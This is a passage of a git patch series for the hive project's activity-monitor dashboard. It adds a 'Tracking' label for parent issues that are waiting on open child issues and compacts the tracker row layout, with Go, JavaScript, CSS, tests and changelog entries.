/ 60000); + const h = Math.floor(m / 60); + seen = ' Β· seen ' + (m < 1 ? 'under a minute' : m < 60 ? m + 'm' : h < 48 ? h + 'h' : Math.floor(h / 24) + 'd') + ' ago'; + } + } + let text = !matches ? name + ' unknown Β· no evidence for ' + (sha7 || 'this head') : (a.caption || name + ' ' + state) + seen; + const lead = current && ownsPR && typeof stageTrackerTrackLead === 'function' ? stageTrackerTrackLead(item) : null; + if (lead && lead.track === kind && lead.newHead && kind === 'ci' && sha7) text += ' Β· new head ' + sha7; + else if (lead && lead.track !== kind && !(state === 'passing' || state === 'approved' || state === 'failing' || state === 'changes_requested')) text += ' Β· waiting on ' + lead.waitingOn; + const word = esc(text); const evidenceURL = matches && /^https?:\/\//i.test(String(a.url || '')) ? a.url : ''; - const evidenceLink = ownsPR && evidenceURL ? `<a href="${esc(evidenceURL)}" target="_blank" rel="noopener noreferrer" aria-label="${esc('Open current-head ' + name + ' evidence')}">${word}</a>` : word; + const icon = stageTrackerIcon(kind === 'ci' ? 'ci' : 50, 'ham-ico', name); + const evidenceLink = ownsPR && evidenceURL ? `<a href="${esc(evidenceURL)}" target="_blank" rel="noopener noreferrer" aria-label="${esc('Open current-head ' + name + ' evidence')}">${icon}${word}</a>` : icon + word; const routeState = (sg.state || 'todo') + (sg.detour ? ' detoured' : ''); const hold = item.hold; const fullTip = (current ? 'Current pipeline phase Β· ' : '') + name + ': ' + tip + (matches && a.actor ? ' Β· actor ' + a.actor : '') + (codeNote || contextWord ? ' Β· ' + (codeNote || contextWord) : '') + - (hold ? ' Β· ' + (hold.pill || 'Held by @' + hold.by) + (hold.reason ? ' Β· ' + hold.reason : '') : ''); + (hold ? ' Β· ' + (hold.pill || 'Held by @' + hold.by) + (hold.reason ? ' Β· ' + hold.reason : '') : '') + + (lead ? ' Β· hive is waiting on ' + lead.waitingOn + (lead.newHead && sha7 ? ' for new head ' + sha7 : '') : ''); const tipID = 'ham-track-tip-' + [item.repo || '', item.kind || '', item.number || 0, kind].map(x => encodeURIComponent(String(x))).join('-'); - const icon = stageTrackerIcon(kind === 'ci' ? 'ci' : 50, 'ham-ico', name); - const content = known ? `<span class="ham-chevron-copy ham-track-state">${evidenceLink}</span>` : icon; - const linkedIcon = !known && ownsPR && evidenceURL ? `<a href="${esc(evidenceURL)}" target="_blank" rel="noopener noreferrer" aria-label="${esc('Open current-head ' + name + ' evidence')}">${icon}</a>` : content; + const linkedIcon = `<span class="ham-chevron-copy ham-track-state">${evidenceLink}</span>`; return `<li class="ham-seg ham-activity-track ${cls}${current ? ' ham-current' : ''}" data-track="${kind}" data-route-state="${esc(routeState)}" data-activity-state="${esc(state)}" data-display-state="${known ? 'known' : 'unknown'}"${current ? ' aria-current="step"' : ''}${active ? ' data-motion="active"' : ''}${ownsPR ? ` title="${esc(fullTip)}"` : ''} aria-label="${esc(fullTip)}"><span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(fullTip)}" aria-describedby="${esc(tipID)}">${linkedIcon}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(fullTip)}${decided ? `<span class="ham-track-context">${decided}</span>` : ''}</span></span></li>`; } From b1bb2ee48fc8457bc48c8462135f95f7ef90bdee Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Tue, 3 Nov 2026 19:51:32 -0500 Subject: [PATCH 23/87] =?UTF-8?q?=F0=9F=90=9B=20dashboard:=20show=20a=20de?= =?UTF-8?q?composed=20parent=20waiting=20on=20children=20as=20Tracking,=20?= =?UTF-8?q?not=20stuck=20Actionable=20(#16486)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A 010 issue whose stage reason carries the engine's "waiting on N open child issue(s)" suffix is tracking its children; the scanner leaves it alone. The row said "Actionable Β· waiting for the scanner to pick it up" with an 18h since, which reads as scanner latency. - stageengine.ReasonOpenChildren parses the suffix. - StageTrackerItem.OpenChildren; caption/actor say Tracking β€” 3 of 4 children done; waiting on 1 open child issue(s); stage_actor is none. - Lit 010 chevron reads Tracking Β· 3/4 (or Tracking Β· N open children). Fixes #16481 Signed-off-by: Andrew Anderson <andy@clubanderson.com> Co-authored-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- .../fixed-16481-tracking-parent-word.md | 1 + src/docs/dashboard-sections.md | 1 + src/pkg/dashboard/stage_tracker.go | 6 ++ src/pkg/dashboard/stage_tracker_actor.go | 3 + src/pkg/dashboard/stage_tracker_build.go | 1 + src/pkg/dashboard/stage_tracker_caption.go | 32 ++++++ .../dashboard/stage_tracker_tracking_test.go | 97 +++++++++++++++++++ .../dashboard/static-src/js/tracker-row.js | 1 + .../static-src/js/tracker-words-core.js | 12 +++ src/pkg/dashboard/static/index.html | 13 +++ src/pkg/stageengine/derive_issue.go | 22 +++++ 11 files changed, 189 insertions(+) create mode 100644 changelog.d/fixed-16481-tracking-parent-word.md create mode 100644 src/pkg/dashboard/stage_tracker_tracking_test.go diff --git a/changelog.d/fixed-16481-tracking-parent-word.md b/changelog.d/fixed-16481-tracking-parent-word.md new file mode 100644 index 0000000000..6da612447c --- /dev/null +++ b/changelog.d/fixed-16481-tracking-parent-word.md @@ -0,0 +1 @@ +- The activity monitor no longer shows a decomposed parent issue that is waiting on open child issues as a stuck *Actionable* row "waiting for the scanner to pick it up": the lit step reads `Tracking Β· 3/4` (or `Tracking Β· N open children`), the caption and actor name the open children, and the item carries `open_children` ([#16481](https://github.com/hivecommons/hive/issues/16481)). diff --git a/src/docs/dashboard-sections.md b/src/docs/dashboard-sections.md index e8a9246a4b..aebdf8bdaa 100644 --- a/src/docs/dashboard-sections.md +++ b/src/docs/dashboard-sections.md @@ -33,6 +33,7 @@ These words have a special meaning in Hive. Each entry explains them again the f - **Autonomy level:** how much Hive may do on its own, from L1 (watch only) to L6 (works and merges on its own). Hive calls this the ACMM level. - **Tracked:** an issue or pull request that Hive has put on its work list after its filters ran. - **Actionable:** a tracked item that Hive could work on now, because nothing is waiting on a person. +- **Tracking:** an actionable issue that was split into child issues and still has some open. The activity monitor lights its Actionable step as `Tracking Β· 3/4` (children done / total) instead of *Actionable*, and its caption names the open children: the scanner leaves such a parent to its children, so the time on the step is not scanner delay ([#16481](https://github.com/hivecommons/hive/issues/16481)). - **Held:** an item someone parked on purpose by adding a hold label, such as `hold` or `on-hold`. Hive leaves it alone. - **Outside:** an open item that Hive's filters kept off its work list, for example because of a label. - **Band:** a group the dashboard puts an issue or pull request in, named after what it needs next. Bands are for display only. diff --git a/src/pkg/dashboard/stage_tracker.go b/src/pkg/dashboard/stage_tracker.go index e3151ae0ef..3bac8363f4 100644 --- a/src/pkg/dashboard/stage_tracker.go +++ b/src/pkg/dashboard/stage_tracker.go @@ -296,6 +296,12 @@ type StageTrackerItem struct { ClaimReference bool `json:"claim_reference,omitempty"` IsTracker bool `json:"is_tracker,omitempty"` Children *github.IssueChildren `json:"children,omitempty"` + // OpenChildren is how many sub-issues of a decomposed parent are still + // open (the stage engine's "waiting on N open child issue(s)" suffix on + // a 010 reason). Non-zero means the parent is tracking its children, + // not waiting on the scanner, and the row reads "Tracking", not + // "Actionable" (hivecommons/hive#16481). + OpenChildren int `json:"open_children,omitempty"` // Labels are the item's GitHub labels as the snapshot saw them, so the // dashboard can offer a label filter without a second endpoint. Labels []string `json:"labels,omitempty"` diff --git a/src/pkg/dashboard/stage_tracker_actor.go b/src/pkg/dashboard/stage_tracker_actor.go index 70c021f41b..04ad7962ce 100644 --- a/src/pkg/dashboard/stage_tracker_actor.go +++ b/src/pkg/dashboard/stage_tracker_actor.go @@ -177,6 +177,9 @@ func stageTrackerStageActorOf(it StageTrackerItem, workers map[string]stageTrack } return set(StageActorNone, "", "not in any stage yet β€” the stage engine has not classified it") case stagelabels.Actionable: + if it.OpenChildren > 0 { + return set(StageActorNone, "", stageTrackerTrackingWhy(it.OpenChildren)) + } return set(StageActorHive, "", "waiting for the scanner to pick it up") case stagelabels.TriageNeeded: return set(StageActorHuman, "", "no maintainer has triaged it yet") diff --git a/src/pkg/dashboard/stage_tracker_build.go b/src/pkg/dashboard/stage_tracker_build.go index a354c6fb80..b4f3852409 100644 --- a/src/pkg/dashboard/stage_tracker_build.go +++ b/src/pkg/dashboard/stage_tracker_build.go @@ -181,6 +181,7 @@ func (s *Server) buildStageTracker(status *StatusPayload, store *stagelabels.Sto } stageTrackerApplyMergeTrain(it) it.Caption, it.Actor = stageTrackerCaption(stage, it.Reason, it.Author, it.Kind, it.Mirrored, rec, hasRec, it.LinkedPR, it.Head) + stageTrackerApplyTracking(it, stage) if c := stageTrackerSoakCaption(rec, now); c != "" { it.Caption = c } diff --git a/src/pkg/dashboard/stage_tracker_caption.go b/src/pkg/dashboard/stage_tracker_caption.go index ca75bc7196..acb7557205 100644 --- a/src/pkg/dashboard/stage_tracker_caption.go +++ b/src/pkg/dashboard/stage_tracker_caption.go @@ -1060,3 +1060,35 @@ func stageTrackerStaleDecisionRecord(rec stagelabels.Record, labels []string) bo } return true } + +// stageTrackerTrackingActor is the actor word of a decomposed parent at 010: +// nobody on the parent is due to move; its children carry the work. +const stageTrackerTrackingActor = "its children" + +// stageTrackerTrackingWhy is the stage_actor.why of a decomposed parent at +// 010 waiting on n open children. +func stageTrackerTrackingWhy(n int) string { + return "waiting on " + strconv.Itoa(n) + " open child issue(s) β€” the scanner does not claim a decomposed parent; its children carry the work" +} + +// stageTrackerApplyTracking rewrites a 010 issue row whose reason carries +// the stage engine's "waiting on N open child issue(s)" suffix: the parent +// is tracking its children, not waiting on the scanner, so the caption and +// actor say so and OpenChildren lets the client draw "Tracking Β· 3/4" +// instead of "Actionable" (hivecommons/hive#16481). +func stageTrackerApplyTracking(it *StageTrackerItem, stage stagelabels.Stage) { + if it == nil || it.Kind != "issue" || stage != stagelabels.Actionable { + return + } + n := stageengine.ReasonOpenChildren(it.Reason) + if n <= 0 { + return + } + it.OpenChildren = n + head := "Tracking" + if c := it.Children; c != nil && c.Total > 0 { + head += " β€” " + strconv.Itoa(c.Completed) + " of " + strconv.Itoa(c.Total) + " children done" + } + it.Caption = head + "; waiting on " + strconv.Itoa(n) + " open child issue(s). The scanner leaves a decomposed parent to its children" + it.Actor = stageTrackerTrackingActor +} diff --git a/src/pkg/dashboard/stage_tracker_tracking_test.go b/src/pkg/dashboard/stage_tracker_tracking_test.go new file mode 100644 index 0000000000..9a7ab2f305 --- /dev/null +++ b/src/pkg/dashboard/stage_tracker_tracking_test.go @@ -0,0 +1,97 @@ +package dashboard + +import ( + "strings" + "testing" + "time" + + "github.com/hivecommons/hive/pkg/github" + "github.com/hivecommons/hive/pkg/stageengine" + "github.com/hivecommons/hive/pkg/stagelabels" +) + +// hivecommons/hive#16481: a decomposed parent at 010 whose reason carries +// the engine's "waiting on N open child issue(s)" suffix is tracking its +// children, not waiting on the scanner; the row must say so. + +func TestReasonOpenChildren(t *testing.T) { + cases := map[string]int{ + "actionable; waiting on 1 open child issue(s)": 1, + "open PR addresses part of it (references it without a closing keyword; PR at 050-review-pending); waiting on 2 open child issue(s)": 2, + "actionable": 0, + "": 0, + "actionable; waiting on x open child issue(s)": 0, + } + for reason, want := range cases { + if got := stageengine.ReasonOpenChildren(reason); got != want { + t.Errorf("ReasonOpenChildren(%q) = %d, want %d", reason, got, want) + } + } +} + +func TestStageTrackerTrackingParentIsNotWaitingOnScanner(t *testing.T) { + now := time.Date(2026, 11, 3, 23, 0, 0, 0, time.UTC) + stage := stagelabels.Actionable + it := StageTrackerItem{Kind: "issue", Number: 16242, Stage: stage.Number(), IsTracker: true, + Children: &github.IssueChildren{Total: 4, Completed: 3}, + Reason: "actionable; waiting on 1 open child issue(s)"} + it.Caption, it.Actor = stageTrackerCaption(stage, it.Reason, "hanthor", it.Kind, false, stagelabels.Record{}, false, 0, "") + stageTrackerApplyTracking(&it, stage) + if it.OpenChildren != 1 { + t.Fatalf("OpenChildren = %d, want 1", it.OpenChildren) + } + if !strings.HasPrefix(it.Caption, "Tracking β€” 3 of 4 children done; waiting on 1 open child issue(s)") || strings.Contains(it.Caption, "scanner to pick it up") { + t.Fatalf("caption still blames the scanner: %q", it.Caption) + } + if it.Actor != stageTrackerTrackingActor { + t.Fatalf("actor = %q, want %q", it.Actor, stageTrackerTrackingActor) + } + it.StageActor = stageTrackerStageActor(it, nil, now) + if it.StageActor.Kind != StageActorNone || !strings.Contains(it.StageActor.Why, "1 open child issue(s)") || strings.Contains(it.StageActor.Why, "pick it up") { + t.Fatalf("stage actor still waits on the scanner: %+v", it.StageActor) + } + + // No children known: the caption still counts the open ones. + only := StageTrackerItem{Kind: "issue", Stage: stage.Number(), Reason: "actionable; waiting on 2 open child issue(s)"} + stageTrackerApplyTracking(&only, stage) + if only.OpenChildren != 2 || !strings.HasPrefix(only.Caption, "Tracking; waiting on 2 open child issue(s)") { + t.Fatalf("count-only parent: %+v", only) + } + + // A plain 010 issue, a PR, and a 040 parent are untouched. + for _, keep := range []struct { + it StageTrackerItem + stage stagelabels.Stage + }{ + {StageTrackerItem{Kind: "issue", Stage: stage.Number(), Reason: "actionable", Caption: "c", Actor: "scanner"}, stage}, + {StageTrackerItem{Kind: "pr", Stage: stage.Number(), Reason: "actionable; waiting on 1 open child issue(s)", Caption: "c", Actor: "scanner"}, stage}, + {StageTrackerItem{Kind: "issue", Stage: 40, Reason: "open PR covers it; waiting on 1 open child issue(s)", Caption: "c", Actor: "its PR"}, stagelabels.CoveredByPR}, + } { + before := keep.it + stageTrackerApplyTracking(&keep.it, keep.stage) + if keep.it.OpenChildren != 0 || keep.it.Caption != before.Caption || keep.it.Actor != before.Actor { + t.Fatalf("row rewritten that should not be: before %+v after %+v", before, keep.it) + } + } + plain := StageTrackerItem{Kind: "issue", Stage: stage.Number(), Reason: "actionable"} + if a := stageTrackerStageActor(plain, nil, now); a.Kind != StageActorHive || !strings.Contains(a.Why, "scanner") { + t.Fatalf("plain 010 issue lost its scanner actor: %+v", a) + } +} + +func TestStageTrackerTrackingWordJS(t *testing.T) { + html := indexHTML(t) + if !strings.Contains(html, `stageTrackerTrackingWord(item)`) { + t.Fatal("tracker-row.js does not consult stageTrackerTrackingWord for the lit 010 chevron") + } + runStageTrackerRowActionsScript(t, `const assert = require('assert'); +`+jsConstLine(t, html, "STAGE_TRACKER_TRACKING_WORD")+"\n"+ + jsFunc(t, html, "stageTrackerTrackingWord")+` +assert.strictEqual(stageTrackerTrackingWord({ kind: 'issue', stage: 10, open_children: 1, children: { total: 4, completed: 3 } }), 'Tracking Β· 3/4'); +assert.strictEqual(stageTrackerTrackingWord({ kind: 'issue', stage: 10, open_children: 1 }), 'Tracking Β· 1 open child'); +assert.strictEqual(stageTrackerTrackingWord({ kind: 'issue', stage: 10, open_children: 2 }), 'Tracking Β· 2 open children'); +assert.strictEqual(stageTrackerTrackingWord({ kind: 'issue', stage: 10, is_tracker: true, children: { total: 6, completed: 0 } }), ''); +assert.strictEqual(stageTrackerTrackingWord({ kind: 'pr', stage: 10, open_children: 1 }), ''); +assert.strictEqual(stageTrackerTrackingWord(null), ''); +`) +} diff --git a/src/pkg/dashboard/static-src/js/tracker-row.js b/src/pkg/dashboard/static-src/js/tracker-row.js index 44dbbe90f8..b47b42ebe0 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row.js +++ b/src/pkg/dashboard/static-src/js/tracker-row.js @@ -50,6 +50,7 @@ const tipStage = (state === 'active' && curStage.label) ? curStage : st; let word = state === 'active' && STAGE_TRACKER_ACTIVE_WORD[cur] ? STAGE_TRACKER_ACTIVE_WORD[cur] : (st.short || st.label || String(n)); if (state === 'active' && n === 50) word = 'CI + Review'; + if (state === 'active' && n === 10 && cur === 10 && typeof stageTrackerTrackingWord === 'function') { const tw = stageTrackerTrackingWord(item); if (tw) word = tw; } if (state === 'active' && n === 30 && cur === 70 && !codeWorking) word = 'PR in progress'; // A merge-train member's word is its place in the train (#15117). if (state === 'active' && !detour && n > 0 && typeof stageTrackerTrainWord === 'function') { const tw = stageTrackerTrainWord(item, trains); if (tw) word = tw; } diff --git a/src/pkg/dashboard/static-src/js/tracker-words-core.js b/src/pkg/dashboard/static-src/js/tracker-words-core.js index c353c06c12..aa6e6a4372 100644 --- a/src/pkg/dashboard/static-src/js/tracker-words-core.js +++ b/src/pkg/dashboard/static-src/js/tracker-words-core.js @@ -54,6 +54,18 @@ const short = String((b && b.short) || '').trim(); return short ? STAGE_TRACKER_BLOCKED_WORD + ' Β· ' + short : ''; } + // A decomposed parent at 010 (server `open_children` > 0, hive#16481) + // reads "Tracking Β· 3/4" (children known) or "Tracking Β· 1 open child", + // never "Actionable": the scanner leaves it to its children, so the + // row is not a stuck unclaimed issue. + const STAGE_TRACKER_TRACKING_WORD = 'Tracking'; + function stageTrackerTrackingWord(item) { + const open = Number(item && item.open_children) || 0; + if (!(open > 0) || !item || item.kind !== 'issue') return ''; + const c = item.children; + if (c && Number(c.total) > 0) return STAGE_TRACKER_TRACKING_WORD + ' Β· ' + (Number(c.completed) || 0) + '/' + Number(c.total); + return STAGE_TRACKER_TRACKING_WORD + ' Β· ' + open + ' open child' + (open === 1 ? '' : 'ren'); + } // Issue-slot placeholders for a closing reference whose title the server // could not resolve (the issue is closed and unreadable, or of unknown state). const STAGE_TRACKER_CLOSED_ISSUE_TITLE = '(closed issue)'; diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index 7fd8fb7b73..e4bf198cac 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -15438,6 +15438,18 @@ <h3 class="faq-group-title">Where to get help</h3> const short = String((b && b.short) || '').trim(); return short ? STAGE_TRACKER_BLOCKED_WORD + ' Β· ' + short : ''; } + // A decomposed parent at 010 (server `open_children` > 0, hive#16481) + // reads "Tracking Β· 3/4" (children known) or "Tracking Β· 1 open child", + // never "Actionable": the scanner leaves it to its children, so the + // row is not a stuck unclaimed issue. + const STAGE_TRACKER_TRACKING_WORD = 'Tracking'; + function stageTrackerTrackingWord(item) { + const open = Number(item && item.open_children) || 0; + if (!(open > 0) || !item || item.kind !== 'issue') return ''; + const c = item.children; + if (c && Number(c.total) > 0) return STAGE_TRACKER_TRACKING_WORD + ' Β· ' + (Number(c.completed) || 0) + '/' + Number(c.total); + return STAGE_TRACKER_TRACKING_WORD + ' Β· ' + open + ' open child' + (open === 1 ? '' : 'ren'); + } // Issue-slot placeholders for a closing reference whose title the server // could not resolve (the issue is closed and unreadable, or of unknown state). const STAGE_TRACKER_CLOSED_ISSUE_TITLE = '(closed issue)'; @@ -17457,6 +17469,7 @@ <h3 class="faq-group-title">Where to get help</h3> const tipStage = (state === 'active' && curStage.label) ? curStage : st; let word = state === 'active' && STAGE_TRACKER_ACTIVE_WORD[cur] ? STAGE_TRACKER_ACTIVE_WORD[cur] : (st.short || st.label || String(n)); if (state === 'active' && n === 50) word = 'CI + Review'; + if (state === 'active' && n === 10 && cur === 10 && typeof stageTrackerTrackingWord === 'function') { const tw = stageTrackerTrackingWord(item); if (tw) word = tw; } if (state === 'active' && n === 30 && cur === 70 && !codeWorking) word = 'PR in progress'; // A merge-train member's word is its place in the train (#15117). if (state === 'active' && !detour && n > 0 && typeof stageTrackerTrainWord === 'function') { const tw = stageTrackerTrainWord(item, trains); if (tw) word = tw; } diff --git a/src/pkg/stageengine/derive_issue.go b/src/pkg/stageengine/derive_issue.go index 9d01bd63ca..bd596cc4ba 100644 --- a/src/pkg/stageengine/derive_issue.go +++ b/src/pkg/stageengine/derive_issue.go @@ -35,6 +35,28 @@ func ReasonIsPartialCover(reason string) bool { return strings.HasPrefix(strings.TrimSpace(reason), "open PR addresses part of it") } +const reasonOpenChildrenPrefix = "waiting on " + +// ReasonOpenChildren reads the "; waiting on N open child issue(s)" suffix +// deriveIssue appends to a decomposed parent's reason and returns N, or 0 +// when the reason carries no such suffix. Presentation layers use it to say +// the parent is tracking its children rather than waiting on the scanner. +func ReasonOpenChildren(reason string) int { + for _, part := range strings.Split(reason, ";") { + part = strings.TrimSpace(part) + if !strings.HasPrefix(part, reasonOpenChildrenPrefix) || !strings.HasSuffix(part, " open child issue(s)") { + continue + } + digits := strings.TrimSuffix(strings.TrimPrefix(part, reasonOpenChildrenPrefix), " open child issue(s)") + n, err := strconv.Atoi(digits) + if err != nil || n <= 0 { + return 0 + } + return n + } + return 0 +} + // deriveIssue maps issue Facts to a Decision. Pure: same Facts β†’ same // Decision. An issue never goes past 040-covered-by-pr: 050+ are PR stages // (stagelabels.Table, PR: true) and mirroring them onto the issue is what From 673f43e34a3ca2be3262cdfd18c29b5514747625 Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Tue, 3 Nov 2026 19:57:04 -0500 Subject: [PATCH 24/87] =?UTF-8?q?=F0=9F=90=9B=20dashboard:=20remove=20gap?= =?UTF-8?q?=20between=20tracker=20info=20line=20and=20stage=20chevrons=20(?= =?UTF-8?q?#16487)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * πŸ› dashboard: restore compact tracker rows (one-line chevrons, inline title) Tracker rows in the Activity Monitor doubled in height after the layout restore (#16454) and acceptance stabilisation (#16461): - the row toolbar (hold / Let hive decide pills) was a separate full-width grid line between the title and the chevrons, reading as a 30-40px blank band; it now trails the PR cell on the title line; - chevrons carried a two-line caption budget, sp-2 vertical padding and a matching grid-auto-rows floor (24-48px); captions are clamped to one line with ellipsis and sp-1 padding (~20px), the pre-#16454 density; - the issue title had a max-content flex basis inside a wrapping .ham-head-main, so it dropped to its own line whenever it could not fit entirely; it now fills the rest of the chip line (flex: 1 1 0) and wraps only its own words. The PR ref does the same with a 20em floor so pills stay on the first line; - row padding sp-5 -> sp-4. Simple rows measure 59px (was 71-99px) at 1440x1200@1; 16 rows fit in the viewport where 8 did. Tests and the tracker-header-geometry probe are retargeted to the one-line contract; a node test pins the inline title. Fixes #16485 Signed-off-by: Andrew Anderson <andy@clubanderson.com> * πŸ› dashboard: retarget Go-embedded tracker row fixture to the inline chip cell TestStageTrackerRows still asserted the pre-PR head markup (a separate <li class="ham-seg cap"> toolbar line); the chips now trail the PR cell (ham-head-pr / ham-head-tools) on the title line. Signed-off-by: Andrew Anderson <andy@clubanderson.com> --------- Signed-off-by: Andrew Anderson <andy@clubanderson.com> --- .../fixed-16485-tracker-row-density.md | 1 + .../dashboard/stage_tracker_activity.test.js | 6 +- .../stage_tracker_header_spans.test.js | 86 +++++++++++++------ .../dashboard/stage_tracker_ui_rows_test.go | 10 ++- src/pkg/dashboard/static-src/css/tracker.css | 56 +++++++----- .../static-src/js/tracker-row-layout.js | 12 ++- src/pkg/dashboard/static/index.html | 68 +++++++++------ .../testdata/tracker-header-geometry.js | 74 ++++++++++------ 8 files changed, 205 insertions(+), 108 deletions(-) create mode 100644 changelog.d/fixed-16485-tracker-row-density.md diff --git a/changelog.d/fixed-16485-tracker-row-density.md b/changelog.d/fixed-16485-tracker-row-density.md new file mode 100644 index 0000000000..03f2c69ac9 --- /dev/null +++ b/changelog.d/fixed-16485-tracker-row-density.md @@ -0,0 +1 @@ +- Activity monitor tracker rows are compact again: the stage chevrons sit directly under the title line as a one-line (~20px) strip, the issue title stays inline after its chips instead of dropping to its own line, the row toolbar pills share that first line, and row padding is tightened β€” roughly 60px per simple row as before the two-line chevron budget ([#16485](https://github.com/hivecommons/hive/issues/16485)). diff --git a/src/pkg/dashboard/stage_tracker_activity.test.js b/src/pkg/dashboard/stage_tracker_activity.test.js index 5bccfa73e9..cabb5bf9b7 100644 --- a/src/pkg/dashboard/stage_tracker_activity.test.js +++ b/src/pkg/dashboard/stage_tracker_activity.test.js @@ -579,7 +579,7 @@ test('unknown tracks wear the canonical column glyph beside their caption, prese } }); -test('known and original chevrons keep full long text inside a shared two-line copy with complete hover/focus metadata', () => { +test('known and original chevrons keep full long text inside a shared one-line clamped copy with complete hover/focus metadata', () => { const handle = '@' + 'verylongunbrokenhandle'.repeat(12); const caption = 'Waiting for ' + handle + ' Β· not observed coding'; const owner = physicalTracks(livePR({ @@ -594,10 +594,10 @@ test('known and original chevrons keep full long text inside a shared two-line c assert.match(known, /ham-chevron-copy ham-track-state"><a href=/); assert.ok(known.match(/role="tooltip">([^]*?)<\/span>/)[1].includes(handle)); const css = fs.readFileSync(path.join(__dirname, 'static-src/css/tracker.css'), 'utf8'); - assert.match(css, /--ham-chevron-text-lines: 2;/); + assert.match(css, /--ham-chevron-text-lines: 1;/); assert.match(css, /\.ham-chevron-copy \{[^}]*-webkit-line-clamp: var\(--ham-chevron-text-lines\);[^}]*white-space: normal; overflow-wrap: anywhere;/); assert.doesNotMatch(css, /\.ham-(?:seg-t|detour)\.ham-has-holder[^}]*white-space: nowrap/); - assert.match(css, /padding: var\(--sp-2\) calc\(var\(--ham-notch\) \+ var\(--sp-2\)\)/); + assert.match(css, /padding: var\(--sp-1\) calc\(var\(--ham-notch\) \+ var\(--sp-2\)\)/); assert.match(css, /\.config-tooltip\.ham-chevron-tip \{[^}]*pointer-events: auto/); assert.match(css, /#activity-monitor-panel \{ --ham-compact-min-width: 60em; \}/); assert.match(css, /\.ham-row > \.ham-strip-row, \.ham-sub > \.ham-strip-row, \.ham-cols > \.ham-strip-row \{ overflow-x: auto; \}/); diff --git a/src/pkg/dashboard/stage_tracker_header_spans.test.js b/src/pkg/dashboard/stage_tracker_header_spans.test.js index f2c3fc1c3b..2bdc9a9dcc 100644 --- a/src/pkg/dashboard/stage_tracker_header_spans.test.js +++ b/src/pkg/dashboard/stage_tracker_header_spans.test.js @@ -126,8 +126,9 @@ test('spans share the physical lane grid, including independent concurrent CI/Re assert.equal(laneCount, physicalCount - 1, 'CSS and actual rendered lane count must agree'); assert.match(rule('.ham-head-cols .ham-seg.ham-head-lead'), /grid-column: 1 \/ var\(--ham-pr-start\)/); assert.match(rule('.ham-head-cols .ham-seg.ham-head-pr'), /grid-column: var\(--ham-pr-start\) \/ -2/); - assert.match(rule('.ham-head-cols .ham-seg.cap'), /grid-column: 1 \/ -1; grid-row: 2/); - assert.match(rule('.ham-head-cols .ham-seg.cap'), /justify-content: flex-end/); + assert.doesNotMatch(html, /\.ham-head-cols \.ham-seg\.cap \{/, 'no separate toolbar line between the title line and the chevrons'); + assert.match(rule('.ham-head-cols .ham-seg.ham-head-pr > .ham-badges'), /margin-left: auto/, 'chips right-anchor on the PR line'); + assert.match(rule('.ham-head-cols .ham-seg.ham-head-pr > .ham-badges'), /justify-content: flex-end/); // Resolve the declared grid lines using the actual header's track count. // Content cannot alter minmax(0,1fr) track widths; covered gaps belong to spans. const start = Number(ctx.stageTrackerHeadColsHtml(['PR'], 'issue', chips).match(/data-ham-pr-start="(\d+)"/)[1]); @@ -145,33 +146,56 @@ test('spans share the physical lane grid, including independent concurrent CI/Re assert.match(ctx.stageTrackerHeadColsHtml(['PR']), /data-ham-pr-start="5"/, 'boundary derives from canonical stages, not a second hard-coded span'); }); -test('chevron height is content-driven (one-line floor, two-line clamp) and the caption stays centred', () => { +test('chevron height is one caption line (compact strip, single-line clamp) and the caption stays centred', () => { const strip = rule('.ham-strip[aria-label="Pipeline progress"]'); const seg = rule('.ham-strip[aria-label="Pipeline progress"] > .ham-seg'); const copy = rule('.ham-chevron-copy'); - assert.match(strip, /grid-auto-rows: minmax\(calc\(var\(--ham-chevron-line-height\) \* 1em \+ 2 \* var\(--sp-2\) \+ 2 \* var\(--line-width\)\), auto\)/, - 'rows size to their tallest caption above a one-line floor'); + assert.match(strip, /grid-auto-rows: minmax\(calc\(var\(--ham-chevron-line-height\) \* 1em \+ 2 \* var\(--sp-1\) \+ 2 \* var\(--line-width\)\), auto\)/, + 'rows size to content above a one-line floor with sp-1 vertical padding (~20px strip)'); + assert.match(seg, /padding: var\(--sp-1\) calc\(var\(--ham-notch\) \+ var\(--sp-2\)\)/, 'sp-2 vertical padding doubled the strip height (hivecommons/hive#16454)'); + assert.match(rule('.ham-strip'), /--ham-chevron-text-lines: 1;/, 'captions are clamped to one line so the strip stays compact'); assert.doesNotMatch(strip, /grid-auto-rows: calc\(var\(--ham-chevron-text-lines\)/, 'no fixed two-line row height around one line of text'); assert.match(seg, /align-self: stretch/); assert.doesNotMatch(seg, /height: 100%/, 'siblings follow the row, the row follows its content'); - assert.match(copy, /max-height: calc\(var\(--ham-chevron-text-lines\) \* var\(--ham-chevron-line-height\) \* 1em\)/, 'the two-line clamp stays'); + assert.match(copy, /max-height: calc\(var\(--ham-chevron-text-lines\) \* var\(--ham-chevron-line-height\) \* 1em\)/, 'the clamp caps the copy at --ham-chevron-text-lines lines'); assert.match(copy, /flex: 0 1 auto/, 'the copy shrink-wraps its text so justify-content: center centres it'); assert.match(copy, /text-align: center/, 'a wrapped second line is centred under the first'); assert.match(rule('.ham-chevron-info.config-info, .ham-chevron-info.ham-chevron-decision'), /align-items: center; justify-content: center/); }); +test('the issue title sits inline after its chips on the first line, not on a line of its own', () => { + const ctx = load(); + const rendered = ctx.stageTrackerRowHtml({ ...issue, number: 16475 }, [], { nowMs: 1, repoChips: {} }); + // One flex container holds icon, repo chip, #ref, agent chip and title. + const main = rendered.match(/<div class="ham-head-main">([\s\S]*?)<\/div>/)[1]; + assert.match(main, /ham-kind-ico[\s\S]*ham-repo-chip[\s\S]*ham-ref[\s\S]*#16475[\s\S]*ham-title-tag[\s\S]*class="ham-title"/, + 'kind icon, repo chip, #ref, agent chip and title render in that order in one container'); + assert.doesNotMatch(main, /<(div|p|br)\b/, 'no block element splits the title from its chips'); + const container = rule('.ham-head-main'); + assert.match(container, /display: flex/); + assert.match(container, /flex-wrap: wrap/, 